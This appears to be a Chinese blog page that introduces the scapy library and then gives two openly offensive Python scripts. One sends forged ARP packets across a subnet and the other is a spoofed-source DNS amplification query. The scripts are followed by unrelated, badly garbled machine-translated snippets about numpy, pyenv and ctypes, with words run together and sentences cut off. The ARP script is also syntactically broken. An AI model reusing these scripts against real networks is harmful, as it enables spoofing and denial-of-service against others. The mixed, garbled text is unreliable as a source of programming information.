scapy是python写的一个功能强大的交互式数据包处理程序,可用来发送、嗅探、解析和伪造网络数据包,常常被用到网络攻击和测试中。
这里就直接用python的scapy搞。
这里是arp的攻击方式,你可以做成arp攻击。
#!/usr/bin/python
"""
ARP attack
"""
import sys, os
from scapy.all import *
if os.geteuid() != 0:
print "This program must be run as root. Aborting."
sys.exit()
if len(sys.argv)
print "Pkease Use %s x.x.x" % (sys.argv[0])
exit()
attackIP = sys.argv[1] + ".0/24"
srploop(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=attackIP, psrc="192.168.1.100", hwsrc="00:66:66:66:66:66"), timeout=2)
dns放大攻击
#coding:utf-8
from scapy import *
from scapy.all import *
a = IP(dst='8.8.8.8',src='192.168.1.200') #192.168.1.200 为伪造的源ip
b = UDP(dport=53)
c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)
c.qd=DNSQR(qname='www.qq.com',qtype=1,qclass=1)
p = a/b/c
send(p)
~

Arraysinpython、特にvianumpy、arecrucialinscientificComputing fortheirefficienty andversitility.1)彼らは、fornumericaloperations、data analysis、andmachinelearning.2)numpy'simplementation incensuresfasteroperationsthanpasteroperations.3)arayableminablecickick

Pyenv、Venv、およびAnacondaを使用して、さまざまなPythonバージョンを管理できます。 1)Pyenvを使用して、複数のPythonバージョンを管理します。Pyenvをインストールし、グローバルバージョンとローカルバージョンを設定します。 2)VENVを使用して仮想環境を作成して、プロジェクトの依存関係を分離します。 3)Anacondaを使用して、データサイエンスプロジェクトでPythonバージョンを管理します。 4)システムレベルのタスク用にシステムPythonを保持します。これらのツールと戦略を通じて、Pythonのさまざまなバージョンを効果的に管理して、プロジェクトのスムーズな実行を確保できます。

numpyarrayshaveveraladvantages-averstandardpythonarrays:1)thealmuchfasterduetocベースのインプレンテーション、2)アレモレメモリ効率、特にlargedatasets、および3)それらは、拡散化された、構造化された形成術科療法、

パフォーマンスに対する配列の均一性の影響は二重です。1)均一性により、コンパイラはメモリアクセスを最適化し、パフォーマンスを改善できます。 2)しかし、タイプの多様性を制限し、それが非効率につながる可能性があります。要するに、適切なデータ構造を選択することが重要です。

craftexecutablepythonscripts、次のようになります

numpyarraysarasarebetterfornumeroperations andmulti-dimensionaldata、whilethearraymoduleissuitable forbasic、1)numpyexcelsinperformance and forlargedatasentassandcomplexoperations.2)thearraymuremememory-effictientivearientfa

NumPyArraySareBetterforHeavyNumericalComputing、whilethearrayarayismoreSuitableformemory-constrainedprojectswithsimpledatatypes.1)numpyarraysofferarays andatiledance andpeperancedatasandatassandcomplexoperations.2)thearraymoduleisuleiseightweightandmemememe-ef

ctypesallowsinging andmanipulatingc-stylearraysinpython.1)usectypestointerfacewithclibrariesforperformance.2)createc-stylearraysfornumericalcomputations.3)passarraystocfunctions foreffientientoperations.how、how、becuutiousmorymanagemation、performanceo


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